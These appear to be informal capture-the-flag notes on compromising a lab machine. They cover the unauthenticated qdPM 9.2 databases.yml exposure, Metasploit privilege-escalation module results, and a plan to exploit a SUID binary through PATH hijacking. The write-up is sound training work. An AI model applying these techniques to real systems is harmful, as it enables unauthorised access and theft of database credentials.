lets mirror the send one with searchsploit -m php/webapps/50176.txt
it says this:
# Exploit Title: qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated)# Date: 03/08/2021# Exploit Author: Leon Trappett (thepcn3rd)# Vendor Homepage: https://qdpm.net/# Software Link: https://sourceforge.net/projects/qdpm/files/latest/download# Version: 9.2# Tested on: Ubuntu 20.04 Apache2 Server running PHP 7.4The password and connection string for the database are stored in a yml file. To access the yml file you can go to http://<website>/core/config/databases.yml file and download.
daaamn
yup the link works. gives me the databases.yml file immediately
It seems to me that there is a weakness while accessing the system.As far as I know, the contents of executable files are partially viewable.I need to find out if there is a vulnerability or not.
travis:
has no sudo capabilities either
user.txt:
ICA{Secret_Project}
getting meterpreter shells:
uname -a:
Linux debian 5.10.0-8-amd64 #1 SMP Debian 5.10.46-5 (2021-09-23) x86_64 GNU/Linux
# Name Potentially Vulnerable? Check Result - ---- ----------------------- ------------ 1 exploit/linux/local/cve_2022_0847_dirtypipe Yes The target appears to be vulnerable. Linux kernel version found: 5.10.0 2 exploit/linux/local/cve_2022_0995_watch_queue Yes The target appears to be vulnerable. 3 exploit/linux/local/glibc_tunables_priv_esc Yes The target appears to be vulnerable. The glibc version (2.31-13) found on the target appears to be vulnerable 4 exploit/linux/local/netfilter_nft_set_elem_init_privesc Yes The target appears to be vulnerable. 5 exploit/linux/local/netfilter_priv_esc_ipv4 Yes The target appears to be vulnerable. 6 exploit/linux/local/su_login Yes The target appears to be vulnerable. 7 exploit/linux/local/sudoedit_bypass_priv_esc Yes The target appears to be vulnerable. Sudo 1.9.5p2.pre.3 is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module
okay lets try exploit/linux/local/glibc_tunables_priv_esc now
lmao it broke meterpreter xDDDDDDDDDDDDDDDDDD
exploit/linux/local/netfilter_nft_set_elem_init_privesc failed as well
so did exploit/linux/local/su_login
and neither did exploit/linux/local/sudoedit_bypass_priv_esc
you know what. lets get back to the basics
/opt/get_access owned by root was something that had its suid set. lets check what it does. seems sus.
ran it. we get this:
############################ ######## ICA ####### ### ACCESS TO THE SYSTEM ### ############################ Server Information: - Firewall: AIwall v9.5.2 - OS: Debian 11 "bullseye" - Network: Local Secure Network 2 (LSN2) v 2.4.1All services are disabled. Accessing to the system is allowed only within working hours.
ltrace isnt available. imma try strings then
strings output:
/lib64/ld-linux-x86-64.so.2setuidsocketputssystem__cxa_finalizesetgid__libc_start_mainlibc.so.6GLIBC_2.2.5_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTableu/UH[]A\A]A^A_cat /root/system.infoCould not create socket to access to the system.All services are disabled. Accessing to the system is allowed only within working hours.;*3$"GCC: (Debian 10.2.1-6) 10.2.1 20210110crtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.0__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entryget_access.c__FRAME_END____init_array_end_DYNAMIC__init_array_start__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_csu_fini_ITM_deregisterTMCloneTableputs@GLIBC_2.2.5_edatasystem@GLIBC_2.2.5__libc_start_main@GLIBC_2.2.5__data_start__gmon_start____dso_handle_IO_stdin_used__libc_csu_init__bss_startmainsetgid@GLIBC_2.2.5__TMC_END___ITM_registerTMCloneTablesetuid@GLIBC_2.2.5__cxa_finalize@GLIBC_2.2.5socket@GLIBC_2.2.5.symtab.strtab.shstrtab.interp.note.gnu.build-id.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.plt.data.bss.comment
it does something with a file in roots directory. cats it
imma try that PATH thing since it doesnt have its path set
